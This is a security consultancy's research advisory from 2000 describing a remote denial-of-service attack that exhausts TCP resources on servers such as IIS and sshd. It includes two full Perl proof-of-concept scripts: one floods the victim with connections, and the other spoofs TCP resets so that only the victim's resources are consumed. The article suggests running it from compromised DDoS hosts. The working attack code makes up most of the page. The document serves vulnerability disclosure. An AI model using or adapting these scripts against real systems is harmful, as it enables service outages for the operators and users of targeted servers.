HSC
Network Security Consulting Agency Since 1989 - Specialized in Unix, Windows, TCP/IP and Internet
Text mode: access to the page content
Hervé Schauer Consultants
You are here: Home > Resources > Tips > Remote DOS by TCP Resource Starvation
Go to: HSC Trainings
Télécharger le catalogue des formations
Search:  
Version française
   Services   
o Skills & Expertise
o Consulting
o ISO 27001 services
o Audit & Assessment
o Penetration tests
o Vunerability assessment (TSAR)
o Forensics
o ARJEL
o Training courses
o E-learning
   Conferences   
o Agenda
o Past events
o Tutorials
   Resources   
o Thematic index
o Tips
o Lectures
o Courses
o Articles
o Tools (download)
o Vulnerability watch
   Company   
o Hervé Schauer
o Team
o Job opportunities
o Credentials
o History
o Partnerships
o Associations
   Press and
 communication
 
 
o HSC Newsletter
o Bulletin juridique HSC
o Press review
o Press releases
o Publications
   Contacts   
o How to reach us
o Specific inquiries
o Directions to our office
o Hotels near our office
|>|Remote DOS by TCP Resource Starvation  

by Stéphane Aubert (13/12/2000)




Remote DOS by TCP Resource Starvation
-------------------------------------

By Stephane Aubert <Stephane.Aubert@hsc.fr>
HSC Security Research Labs
Hervé Schauer Consultants

Introduction
============

While working on the analyze of the Naptha half-advisory 
we found a lot of ways to deny a remote server by TCP 
resource starvation.

For more information on this Napta description visit:
http://razor.bindview.com/publish/advisories/adv_NAPTHA.html

We have done a proof of concept (with anti-script-kiddies) in
order to show how it is possible to deny of service tcp servers
remotely such as :

  . IIS-5 on Win2000 : Vulnerable
  . IIS-4 on WinNT   : Vulnerable
  . sshd on FreeBSD  : Vulnerable 
  . sshd on Linux    : Vulnerable
  . and so on ...

Now days, there is no solution but traffic shapping by IP address.
We are trying to find solutions to avoid such attacks.

Overview of the attack
======================

This attack can be launched from several sources (such as ddos 
infected computers or else) and use a very specific RESET server.

On the compromised computers the script shutup.pl must run.
On the reset server the script rstd.pl must run.

(These scripts are given at the end of this file.)

shutup.pl opens a lot of tcp connections on the remote victim
(syn, syn|ack, ack) without closing these connections.

This kind of attack usually consumes resources on both sides: 
the victim and the attacker, and e-business no days have, most of 
the time, more CPU and more memory that personal laptop ;-)

New idea:
---------

In order to consume resources on the victim ONLY and deny it, we use a 
reset server to close the connection on the attacker side.

  Attacker(i)  -------- SYN --------> Victim

  Attacker(i) <------ SYN|ACK ------  Victim
 
  Attacker(i)  -------- ACK --------> Victim

  Attacker(i)  -------- RESET Request ----------> Reset Server

  Attacker(i) <-------- RESET ------------------  Reset Server

  Attacker(i)  -------- SYN --------> Victim

  and so on ...


Proof of Concept
================

* Reset Server (rstd.pl)

  This code is a UDP demon waiting for UDP datagram. The payload of
  these datagrams contains the IP address of the attacker, the IP
  address of the victim, the source and destination port and the 
  ack sequence number of the last ACK. It spoof a reset segment 
  from the victim to the attacker. 

  Usage: ./rstd.pl

* Main Script (shutup.pl)

  This code will connect to a TCP port on the remote system. After
  the tcp 3-way handshake, it request a reset to the reset server 
  to destroy the socket and free the resource on the attacker side.  

  Usage: ./shutup.pl <attacker> <victim> <port> <resetserver> <udp-port>


There are several different ways to implement such attacks. This one
allow to use several computers on different networks.

We also implement a standalone version called just_shutup.pl, but we don't 
want to make it public until a solution appear.

But that's a great tools for our penetration tests ;-)


Codes
=====

--[ shutup.pl ]-----------------------------------------------------------

#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
#
# Remote DOS by TCP Resource Starvation Exploit
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use IO::Socket;
use Net::RawIP;

my $attack = shift || 'localhost';
my $victim = shift || 'localhost';
my $port = shift || '80';
my $UDPserver = shift || 'localhost';
my $UDPport = shift || 5151;
my $verbose = 1;

$b = new Net::RawIP;
$a = new Net::RawIP;
$pcap=$a->pcapinit("eth0","proto \\tcp and src host $attack and \
                           dst host $victim  and port $port and \
                           tcp[13] & 16 != 0 and tcp[13] & 2 == 0",1500,30);

if( fork() ) {
  loop $pcap,-1,\&dumpit,\@a;
} else {
  while( 1 ) {
    my $sock = IO::Socket::INET->new( Proto => "tcp", 
                                      PeerAddr => $victim,
                                      PeerPort => $port);
    unless ($sock) { print "Oops, cannot connect to $port/tcp on $victim\n"}
    select(undef, undef, undef, 0.25);
    close( $sock );
  }
}

### functions ############################################################

sub dumpit {
  $a->bset(substr($_[2],14));

  my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
      $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
      $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
      $a->get({
        ip=>['version','ihl','tos','tot_len','id','frag_off',
             'ttl','protocol','check','saddr','daddr'],
        tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
               'res2','urg','ack','psh','rst','syn','fin',
               'window','check','data']});

  printf "ACK: from %s:%d to %s:%d seq:0x%x ack:0x%x %s%s%s%s%s%s\n", 
         &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$seq,$aseq,
         ($syn?'S':'-'), ($ack?'A':'-'), ($fin?'F':'-'), 
         ($rst?'R':'-'), ($psh?'P':'-'), ($urg?'U':'-');


  printf "Send UDP to $UDPserver on $UDPport/udp : [%s:%d:%s:%d:ack=0x%x]\n",
    &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
    if($verbose);

  $sock = IO::Socket::INET->new( Proto => 'udp', 
                                 PeerPort => $UDPport, 
                                 PeerAddr => $UDPserver)
     or print "## error creating socket: $!\n";
  $msg = ''; 
  $msg .= pack( "N5", $saddr, $daddr, $sport, $dport, $aseq );
  $sock->send($msg) or print "## error sending UDP request !\n";

};

sub ip2dot {
 sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################


--[ rstd.pl ]-------------------------------------------------------------

#!/usr/bin/perl 
#
# -=-               PROOF OF CONCEPT                   -=-
# -=- This code includes several anti-script-kiddies ! -=-
#                         -=-
# Reset server
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use IO::Socket;
use Net::RawIP;
$b = new Net::RawIP;
my $maxlen = 1024;

my $verbose = 1;
my $listenport = shift || 5151;
my $sock = IO::Socket::INET->new(LocalPort => $listenport, Proto => 'udp')
    or die "socket: $@";
print "Starting RESET UDP serveur on port $listenport\n"
  if($verbose);

my $newmsg = '';
while ($sock->recv($newmsg, $maxlen)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    $hishost = gethostbyaddr($ipaddr, AF_INET);

    my( $saddr, $daddr, $sport, $dport, $aseq ) = unpack("N5", $newmsg );

    printf "Received UDP from $hishost : [%s:%d:%s:%d:ack=0x%x]\n", 
      &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
        if($verbose);

    $b->set({
             ip =>{
               saddr=>$saddr, daddr=>$daddr
             },
             tcp => {
               dest => $dport, source => $sport,
               rst => '1', ack => '0', psh => '1', fin => '0', 
               seq => $aseq, ack_seq => 0, window => 0,
             }
            }); 
    $b->send();
} 
die "recv: $!";

sub ip2dot {
    sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################




Last modified on 12 November 2003 at 13:55:01 CET - webmaster@hsc.fr
Mentions légales - Information on this server - © 1989-2013 Hervé Schauer Consultants